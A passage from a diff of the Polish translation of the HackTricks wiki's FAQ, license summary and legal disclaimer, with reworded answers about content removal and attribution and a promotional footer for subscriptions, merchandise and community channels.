możliwe**. {% hint style="danger" %} -* **Co powinienem zrobić, jeśli treść z mojego bloga jest w HackTricks i nie chcę, żeby tam była?** +* **Co powinienem zrobić, jeśli treść z mojego bloga znajduje się w HackTricks i nie chcę, aby tam była?** {% endhint %} -W każdym przypadku wiedz, że w takim przypadku HackTricks poprawiłby Twoje **SEO** i **zachęcał** ludzi do **sprawdzenia Twojej strony** (ludzie wspominali nam, że od czasu, gdy ich strona jest w HackTricks, otrzymują więcej odwiedzin). Jeśli nadal chcesz, aby treść Twojego bloga została usunięta z HackTricks, daj nam znać. +Należy zauważyć, że posiadanie linków do Twojej strony w HackTricks: -Należy zauważyć, że pytając o to, zdecydowanie **usuniemy każdy link do Twojego bloga**, a także jakąkolwiek treść opartą na nim. +* Poprawia Twoje **SEO** +* Treść jest **tłumaczona na ponad 15 języków**, co umożliwia większej liczbie osób dostęp do tej treści +* **HackTricks zachęca** ludzi do **odwiedzenia Twojej strony** (kilka osób wspomniało nam, że od kiedy ich strona jest w HackTricks, otrzymują więcej odwiedzin) + +Jeśli nadal chcesz, aby treść z Twojego bloga została usunięta z HackTricks, daj nam znać, a zdecydowanie **usuniemy każdy link do Twojego bloga** oraz wszelką treść opartą na nim. {% hint style="danger" %} -* **Co powinienem zrobić, jeśli w HackTricks znajdę skopiowaną treść?** +* **Co powinienem zrobić, jeśli znajdę skopiowaną treść w HackTricks?** {% endhint %} -**Niestety, ta praktyka mogła mieć miejsce na początku projektu, kiedy ta strona była tylko notatkami pentestera**. Zawsze staramy się **przyznać oryginalnym autorom wszelkie zasługi**. Jeśli znajdziesz stronę z skopiowaną treścią (nawet z odwołaniem do oryginalnego źródła), daj nam znać, a my ją **usuniemy**, **zostawimy link** lub **przepiszemy**. +Zawsze **przypisujemy oryginalnym autorom całą zasługę**. Jeśli znajdziesz stronę z skopiowaną treścią bez podania oryginalnego źródła, daj nam znać, a albo **usuniemy to**, albo **dodamy link przed tekstem**, albo **przepiszemy to dodając link**. ## LICENCJA -Prawa autorskie © Wszelkie prawa zastrzeżone, chyba że zaznaczono inaczej. +Prawa autorskie © Wszelkie prawa zastrzeżone, chyba że określono inaczej. #### Podsumowanie licencji: * Atrybucja: Masz prawo do: -* Udostępnianie — kopiowanie i rozpowszechnianie materiału w dowolnym medium lub formacie. -* Adaptacja — remiksowanie, przekształcanie i tworzenie na podstawie materiału. +* Dzielenia się — kopiowania i rozpowszechniania materiału w dowolnym medium lub formacie. +* Adaptacji — miksowania, przekształcania i tworzenia na bazie tego materiału. #### Dodatkowe warunki: -* Treść osób trzecich: Niektóre części tego bloga/książki mogą zawierać treści pochodzące z innych źródeł, takie jak fragmenty z innych blogów lub publikacji. Wykorzystanie takiej treści odbywa się zgodnie z zasadami dozwolonego użytku lub za wyraźną zgodą odpowiednich właścicieli praw autorskich. Prosimy o odniesienie się do oryginalnych źródeł w celu uzyskania szczegółowych informacji na temat licencjonowania treści osób trzecich. -* Autorstwo: Oryginalna treść autorstwa HackTricks podlega warunkom tej licencji. Zachęcamy do przypisywania tej pracy autorowi podczas jej udostępniania lub adaptowania. +* Treści osób trzecich: Niektóre części tego bloga/książki mogą zawierać treści z innych źródeł, takie jak fragmenty z innych blogów lub publikacji. Użycie takich treści odbywa się zgodnie z zasadami dozwolonego użytku lub za wyraźną zgodą odpowiednich właścicieli praw autorskich. Prosimy o odniesienie się do oryginalnych źródeł w celu uzyskania konkretnych informacji dotyczących licencjonowania treści osób trzecich. +* Autorstwo: Oryginalna treść autorstwa HackTricks podlega warunkom tej licencji. Zachęcamy do przypisywania tej pracy autorowi podczas jej udostępniania lub adaptacji. #### Wyjątki: -* Użytek komercyjny: W przypadku pytań dotyczących komercyjnego wykorzystania tej treści prosimy o kontakt. +* Użytek komercyjny: W przypadku zapytań dotyczących komercyjnego wykorzystania tej treści, prosimy o kontakt. -Ta licencja nie przyznaje żadnych praw znaków towarowych ani praw do marki w odniesieniu do treści. Wszystkie znaki towarowe i marki prezentowane w tym blogu/książce są własnością ich odpowiednich właścicieli. +Ta licencja nie przyznaje żadnych praw znaków towarowych ani brandingowych w odniesieniu do treści. Wszystkie znaki towarowe i marki prezentowane w tym blogu/książce są własnością ich odpowiednich właścicieli. **Korzystając z HackTricks, zgadzasz się przestrzegać warunków tej licencji. Jeśli nie zgadzasz się z tymi warunkami, proszę, nie korzystaj z tej strony internetowej.** ## **Oświadczenie** {% hint style="danger" %} -Ta książka, 'HackTricks', ma charakter wyłącznie edukacyjny i informacyjny. Treść w tej książce jest udostępniana na zasadzie "takiej, jaka jest", a autorzy i wydawcy nie udzielają żadnych gwarancji ani zapewnień, wyraźnych ani dorozumianych, co do kompletności, dokładności, niezawodności, odpowiedniości lub dostępności informacji, produktów, usług lub związanych z nimi grafik zawartych w tej książce. Jakiekolwiek poleganie na takich informacjach odbywa się wyłącznie na własne ryzyko. +Ta książka, 'HackTricks', jest przeznaczona wyłącznie do celów edukacyjnych i informacyjnych. Zawartość w tej książce jest udostępniana w formie 'tak jak jest', a autorzy i wydawcy nie dokonują żadnych oświadczeń ani gwarancji jakiejkolwiek natury, wyraźnych lub dorozumianych, co do kompletności, dokładności, niezawodności, odpowiedniości lub dostępności informacji, produktów, usług lub związanych z nimi grafik zawartych w tej książce. Jakiekolwiek poleganie na takich informacjach odbywa się więc wyłącznie na własne ryzyko użytkownika. -Autorzy i wydawcy nie ponoszą żadnej odpowiedzialności za jakąkolwiek stratę lub szkodę, w tym, między innymi, pośrednią lub wynikową stratę lub szkodę, ani za jakiekolwiek straty lub szkody wynikające z utraty danych lub zysków wynikających z korzystania z tej książki. +Autorzy i wydawcy nie ponoszą żadnej odpowiedzialności za jakąkolwiek stratę lub szkodę, w tym, między innymi, pośrednią lub wynikową szkodę lub stratę, lub jakąkolwiek inną szkodę lub stratę wynikającą z utraty danych lub zysków wynikających z korzystania z tej książki. -Ponadto, opisane w tej książce techniki i wskazówki są udostępniane wyłącznie w celach edukacyjnych i informacyjnych i nie powinny być wykorzystywane do jakichkolwiek nielegalnych ani szkodliwych działań. Autorzy i wydawcy nie popierają ani nie wspierają żadnych nielegalnych ani nieetycznych działań, a jakiekolwiek wykorzystanie informacji zawartych w tej książce odbywa się na własne ryzyko i według własnego uznania użytkownika. +Ponadto techniki i wskazówki opisane w tej książce są udostępniane wyłącznie w celach edukacyjnych i informacyjnych, i nie powinny być używane do jakichkolwiek nielegalnych lub szkodliwych działań. Autorzy i wydawcy nie popierają ani nie wspierają żadnych nielegalnych ani niemoralnych działań, a każde wykorzystanie informacji zawartych w tej książce odbywa się na własne ryzyko i według własnego uznania użytkownika. -Użytkownik jest wyłącznie odpowiedzialny za wszelkie działania podjęte na podstawie informacji zawartych w tej książce i powinien zawsze szukać profesjonalnej porady i pomocy przy próbie wdrożenia jakiejkolwiek z opisanych tu technik lub wskazówek. +Użytkownik ponosi wyłączną odpowiedzialność za wszelkie działania podejmowane na podstawie informacji zawartych w tej książce, i zawsze powinien szukać profesjonalnej porady i pomocy przy próbie wdrożenia któregokolwiek z opisanych tu technik lub wskazówek. -Korzystając z tej książki, użytkownik zgadza się zwolnić autorów i wydawców od jakiejkolwiek odpowiedzialności za wszelkie szkody, straty lub szkody, które mogą wyniknąć z korzystania z tej książki lub jakiejkolwiek informacji w niej zawartych. +Korzystając z tej książki, użytkownik zgadza się zwolnić autorów i wydawców od wszelkiej odpowiedzialności za jakiekolwiek szkody, straty lub szkody, które mogą wyniknąć z korzystania z tej książki lub jakichkolwiek informacji w niej zawartych. {% endhint %}
-Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! +Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! Inne sposoby wsparcia HackTricks: -* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)! +* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)! * Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) -* Odkryj [**Rodzin +* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) +* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na Githubie. + +